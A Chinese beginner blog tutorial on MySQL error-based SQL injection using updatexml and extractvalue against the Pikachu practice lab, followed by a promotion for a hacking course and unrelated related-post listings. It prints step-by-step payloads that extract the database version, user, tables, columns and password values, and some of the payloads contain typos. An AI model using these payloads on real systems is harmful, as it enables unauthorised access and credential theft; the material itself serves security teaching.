【新手入门】SQL注入之报错注入

报错注入详解 SQL报错注入如何利用数据库函数窃取信息?揭秘extractvalue、updatexml等函数触发机制,附实战案例与防御方案,提升系统安全防线! 阅读详情

一、概念

报错注入指在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。

常见的select/insert/update/delete注入都可以使用报错方式来获取信息。

为什么要用函数报错?

是因为我们之前学到的一些注入测试手段,可能看不到报错,被屏蔽或者处理了,不好判断是否有注入点,所以学一下基于函数的报错。

二、原理

以皮卡丘靶场为例

“http header”注入,登录,抓包

用测试语句测试

若测试后没有报错,但也没看到用户表中的数据,页面渲染还是原先的页面,可能是因为服务端那边拿到数据之后,只是在数据库中查询了一下有没有admin’这个用户就结束了,没有把整个表里面的查到的数据展示给你看。

在页面没有给任何反馈信息的情况下,就可以用到报错注入。

三、报错注入分类

updatexml注入

insert注入
update注入
delete注入
extractvalue()注入

四、三个常用的用来报错的函数

Updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。

extractvalue():函数是MYSQL对XML文档数据进行查询的XPATH函数。

floor():MYSQL中用来取整的函数。

1.updatexml()

(XML_document, XPath_string, new_value);
它是一个内容替换函数,主要针对的xml数据;
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据。

如:数据版本为5.5.53,那么concat连接之后,得到的结果为5.5.53updatexml(1,5.5.53,1),其中~5.5.53~并不符合xpath的语法格式,会报错。

2.extractvalue()

EXTRACTVALUE (XML_document, XPath_string);

从目标XML中返回包含所查询值的字符串。
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。

如:SELECT Extractvalue(‘’,‘/a/b’);就是寻找前一段xml文档内容中的a节点下的b节点,这里书写错误的话,就会报错。

五、实战演练

1、爆数据库版本信息

k’ and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#

(K这个字母是随便写的,写什么都可以 0x7e是16进制,表示一个~符号)

k’and updatexm(1,concat(0x7e,(SELECT@@version),0x7e),1)#

k‘and updatexml(1,concat(“~”,(SELECT @@version),“~”),1)#

这里为什么不直接写~,而是写成了16进制呢?

因为本身为字符串,如果直接写,需要用引号引起来,如果用单引号的话,势必会和我们前面闭合用的单引号有些冲突,所以只能用双引号,还需要写引号,比较麻烦,并且如果别人后台对引号做了限制的话,我们用引号就会注入失败。

可以通过编码解码工具查看一些0x7e是什么。

concat是mysql中的字符串拼接函数,能拼接两个字符串.

SELECT@@version是查询当前数据库的版本,不加两个@也是可以的。

在靶场搜索型注入中输入k’and updatexm(1,concat(0x7e,(SELECT@@version),0x7e),1)#

报错,但可以查询到数据库版本

2、爆数据库当前用户

k’ and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#

3、爆数据库

k’ and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

4、爆表

5.1版本及以上版本,mysql数据库中会存在一个叫做的formation_schema的默认数据库,这个库里面记录着整个mysq!管理的数据库的名称、表名、列名(字段名)。

获取数据库表名,输入:k’and updatexml(1,concat(0x7e,(select table_name from information_schema.tables wheretable_schema=‘pikachu’)),0)#,但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示

子查询返回的行数大于1

limit限制一行,输入k’ and updatexml(1,concat(0x7e,(select table_ name from information_schema.tables wheretable_schema=‘pikachu’ limit 0,1)),0)#,更改limit后面的数字limit 0完成表名遍历。

5、爆字段

获取字段名,输入: k’ and updatexml(1,concat(0x7e,(select column_name from information _schema columns wheretable_name=‘users’ and table_schema=‘pikachu’ limit 2,1)),0)#

6、爆字段内容

获取字段内容,输入:k’and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

在这里插入图片描述

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

img

2、Linux操作系统

img

3、WEB架构基础与HTTP协议

img

4、Web渗透测试

img

5、渗透测试案例分享

img

6、渗透测试实战技巧

图片

7、攻防对战实战

图片

8、CTF之MISC实战讲解

图片

3、适合学习的人群

‌一、基础适配人群‌

  1. ‌零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. ‌开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. ‌应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

‌二、能力提升适配‌

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传优快云,朋友们如果需要可以在下方优快云官方认证二维码免费领取【保证100%免费】

在这里插入图片描述

SQL注入:报错注入 QL注入是一种常见的安全漏洞,它允许攻击者通过在应用程序的输入中注入恶意的SQL代码来执行未经授权的数据库操作。报错注入是一种SQL注入的类型,它利用数据库在执行恶意SQL语句时产生的错误消息来获取有关数据库结构和数据的信息。 假设有一个使用用户输入构建SQL查询的应用程序。攻击者可以通过在输入中注入恶意的SQL代码来触发数据库错误,并从错误消息中获取有关数据库的信息,如表名、列名等。这些信息可以帮助攻击者进一步利用数据库。 阅读详情

相关推荐

SQL 注入之报错注入、延时注入、布尔盲注

在 SQL 注入攻击中,报错注入、延时注入和布尔盲注是常见的攻击手段。这些攻击方式利用了数据库系统在处理用户输入时的漏洞,从而获取敏感信息或者执行恶意操作。本文将详细介绍这三种 SQL 注入攻击方式的原理和实现方法。

2301_77160226的博客 1911

报错注入是什么?一看你就明白了。报错注入原理+步骤+实战案例

报错注入怎么使用,报错注入步骤,报错注入原理,报错注入使用。

wangyuxiang946的博客 3万+

CTFHUB-SQL注入-报错注入

CTFHUB-SQL注入-报错注入 本文所使用到的一些函数的使用我去找了一些博主的文章,放在文章末尾了 首先进入环境查询1 回显正常 接着查询1’ 页面回显报错,这里就要想着利用数据库的一些机制去进行人为的制造错误,使我们要查询的信息出现在报错信息中 使用updatexml()报错注入来获取信息 输入sql语句 1 union select updatexml(1,concat(0x7e,database(),0x7e),1); 获取到数据库名:sqli 接着查询表 1 union select upda

xixihahawuwu的博客 2896

【web安全】——报错注入

SQL注入之报错注入

Demo不是emo的博客 1万+

《网络安全自学教程》- SQL注入之报错注入原理+步骤+实战操作

这篇文章为大家解析报错注入的实现原理,结合实战案例讲解报错注入的使用步骤。

wangyuxiang946的博客 1万+

ADS与MATLAB数据互通全指南:从Snp文件导入到TXT导出完整流程

本文详细介绍了在射频与微波工程中,实现ADS与MATLAB高效数据互通的完整流程。核心内容包括利用SPOutput控件、数据显示窗口及测量方程等多种方法,将ADS仿真数据(如S参数)导出为Touchstone或TXT格式,并导入MATLAB进行深度分析与可视化;同时指导如何将MATLAB处理后的数据回灌至ADS,用于模型验证与协同仿真,旨在构建自动化、无损的数据交换工作流,提升工程师的工作效率。

pluto的博客 394

SQL报错注入

本篇为SQL注入的报错注入,详细内容包含了sqllabs第五关报错注入 updatexml报错注入原理及思路 常见的报错函数 floor报错注入原理 1、概念 2、函数回顾 2.1 rand函数 2.2 floor(rand(0)*2)函数 2.3 group by函数 2.4 count(*)函数 2.5 函数综合报错 3、报错分析 4、总结等等

钟言的博客 1万+

LD分析实战:基于Plink和R的连锁不平衡计算与可视化全流程

本文详细介绍了基于Plink和R的连锁不平衡(LD)分析全流程,包括基因型数据预处理、LD计算参数设置及结果可视化技巧。通过实战案例解析PLINK文件格式转换、r²值计算关键参数,并展示如何使用ggplot2绘制高质量LD热图,帮助研究人员高效完成基因组关联分析。

weixin_29074295的博客 320

sql注入——报错注入

报错注入是什么 什么是报错注入? 这是一种页面响应形式。响应过程如下: 用户在前台页面输入检索内容 后台将前台页面上输入的检索内容无加区别的拼接成sql语句,送给数据库执行。 数据库将执行的结果返回给后台,后台将数据库执行的结果无加区别的显示到前台页面上。 报错注入存在的基础:两个“无加区别”后台对于输入输出的合理性没有做检查 分类 1. 通过floor()报错注入 2.通过extractValue()报错注入 3.通过updateXml()报错注入 4.通过NAME_CONST()

m0_73756016的博客 4703

PICO SCOPE 二次开发

基于C#开发一个简单的PICO示波器的上位机工作,与MCC600运动控制卡一起,实现数据自动采集

nixoncheng的博客 1150

新华硕笔记本ubuntu18.04双系统安装之后,wifi没有显示无法链接wifi

本来我以为跟简单安装一个wifi网卡的驱动就可以解决的问题,没想到花了我一早上的时候解决… 惭愧。 另外,本来是没打算写这篇博客的,但是我在搜索解决这个问题的过程中, 发现多人提出的解决方案跟我的都不一样,甚至我的解决方案都没有搜到相应的答案,还是只能靠自己啊。。 言归正传,还是说说怎么正确的安装wifi驱动吧! 1. wifi没有正确安装、或没有正确配置的表现 我的电脑现象: 有wifi图标, wifi设置上显示unaviable,无法搜索到任何wifi; 还有其他类似的表现,大家可以看看其他朋友的提

Ian的博客 1890

sql注入之报错注入

掌握好extractvalue、updatexml、floor报错,floor报错较难需要多理解,updatexml较为常用报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。是一种页面响应形式。响应过程:用户在前台页面输入检索内容后台将前台页面上输入的检索内容无加区别的拼接成sql语句,送给数据库执行数据库将执行的结果返回后台,后台将数据库执行的结果无加区别的显示在前台页面报错注入存在基础:后台对于输入输出的合理性没有做检查演示:输入正常语句情况下页面。

2301_80913334的博客 4703

LiveReload:释放你的F5,实时预览HTML效果

一、liveReload插件开发背景Web前端开发人员在写页面时,如果修改了HTML or CSS,要想看效果通常的做法就是保存代码就得 Alt+Tab,切换到浏览器(当然,我知道很多开发人员是双屏操作不一定需要切换到浏览器),但是一定要F5刷新才能看自己刚写的代码有没有效果,没有效果就再切换到编辑器下修改,然后再切换到浏览器F5刷新看效果,还没有效果,就再继续修改,如此反复。时间久了,前端自动化...

Char_n的博客 2510

SQL注入-报错注入

前言 之前没有对SQL报错注入详细总结过,总结一下。 12种SQL报错注入 1、通过floor报错,注入语句如下: and select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2、通过extractvalue报错,注入语句如下: ...

qwzf 3659

【DAY11】超参数调整专题1

核心优势: 它不是随机选择下一个点,而是根据先前评估的结果建立一个概率模型(通常是高斯过程),预测哪些参数组合可能产生更好的结果,并据此选择下一个评估点。这使得它在寻找最优解方面通常比随机搜索更高效(用更少的迭代次数达到相似或更好的性能),特别是当模型训练(单次评估)非常耗时的时候。实际上,有着非常多的方式可以实现贝叶斯优化,上面的代码比较简洁美观,贝叶斯优化和网格搜索的代码书写风格高度一致。- 需要定义参数的搜索空间,与随机搜索类似,当搜索空间非常大时,它通常比网格搜索和随机搜索更有效。

daomingwu1的博客 750

16、保障Azure应用安全:密钥管理与身份认证

本文深入探讨了保障Azure应用安全的关键措施,包括使用网络安全工具(如Application Gateway和Azure Front Door)防范攻击,解决传统密钥和机密存储方式的安全隐患,以及通过Azure Key Vault实现敏感信息的安全管理。同时,介绍了使用托管标识实现Azure资源间安全访问的方法,并结合实际操作步骤展示了如何配置Key Vault、设置访问策略、存储机密以及授予Web应用对SQL Server的访问权限。最后,对不同安全措施进行了比较,并提出了在开发、测试及生产环境中的综合

rock5的博客 73

SQL注入之报错注入方法汇总

响应过程:用户在前台页面输入检索内容后台将前台页面上输入的检索内容无加区别的拼接成sql语句,送给数据库执行数据库将执行的结果返回后台,后台将数据库执行的结果无加区别的显示在前台页面0.2 类型。

wanggonghanfei的博客 2905

YOLOv8独家原创改进:原创自研 | 自研独家创新DSAM注意力 ,基于BiLevelRoutingAttention注意力升级

提出新颖的注意力DSAM(Deformable Bi-level SpatialAttention Module),创新度极佳,适合科研创新,效果秒杀CBAM,Channel Attention+Spartial Attention升级为新颖的Deformable Bi-level Attention+Spartial Attention

①答疑群聊服务;②YOLO大模型知识问答系统;③计算机视觉论文生成智能体; 1516

SQL注入之报错注入

然而,当XPath表达式构造不当,例如包含了非法字符或者尝试执行一个无法解析为有效XPath表达式的字符串时,函数会抛出错误,并且错误信息可能包含有关查询的信息,这便为报错注入提供了机会。floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。这个表名可能不存在,服务器会抛出一个错误消息,可能揭示表是否存在的信息。

2301_80661529的博客 1983

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

Sql注入-报错注入

报错注入(Error-Based Injection)是一种通过引起数据库报错并从错误信息中提取有用信息的SQL注入攻击手法;攻击者利用数据库在处理异常情况时返回的错误消息,来推断出数据库结构、字段名甚至数据内容;这种攻击方法依赖于数据库将详细的错误消息返回给客户端。若在测试时发现网页会回显sql相关的报错信息,那么此时就可以尝试使用错误注入这种方式进行渗透。可以利用报错注入的前提:就是页面有错误信息显示出来、保证函数能够正确执行。

WolvenSec的博客 2721

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

SQL注入-常见的报错注入类型详解

SQL注入-常见的报错注入类型详解

lza20001103的博客 1898

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

Ctfhub之SQL注入|SQL报错注入及原理详解

手工测试sql注入及原理1、SQL 整数型注入查数据库名查数据表查flag表字段2、字符型注入3、报错注入updatexml() 函数致MYSQL显错注入原理updatexml() 函数定义updatexml() 函数运行机制updatexml() 函数运行示例不报错示例构造报错利用updatexml()测试ctfhub的显错注入 1、SQL 整数型注入 查数据库名 -1 union select group_concat(schema_name),2 from information_schema.sch

tempulcc的博客 1725
上一篇: DDoS攻击详解_ddos攻击流程,零基础入门到精通,收藏这篇就够了
下一篇: 【超详细讲解】什么是序列化和反序列化?
网络安全_入门教程
博客等级 码龄4年 1万+粉丝 2151原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值